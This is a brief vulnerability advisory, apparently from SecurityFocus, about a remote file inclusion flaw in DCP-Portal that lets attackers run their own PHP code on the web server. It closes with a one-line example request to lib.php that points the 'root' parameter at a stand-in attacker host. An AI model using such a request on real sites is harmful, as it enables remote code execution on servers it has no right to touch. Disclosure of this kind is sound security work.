source: http://www.securityfocus.com/bid/6525/info
 
DCP-Portal is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.
 
An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.
 
If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://www.example.com/library/lib.php?root=http://attacker.org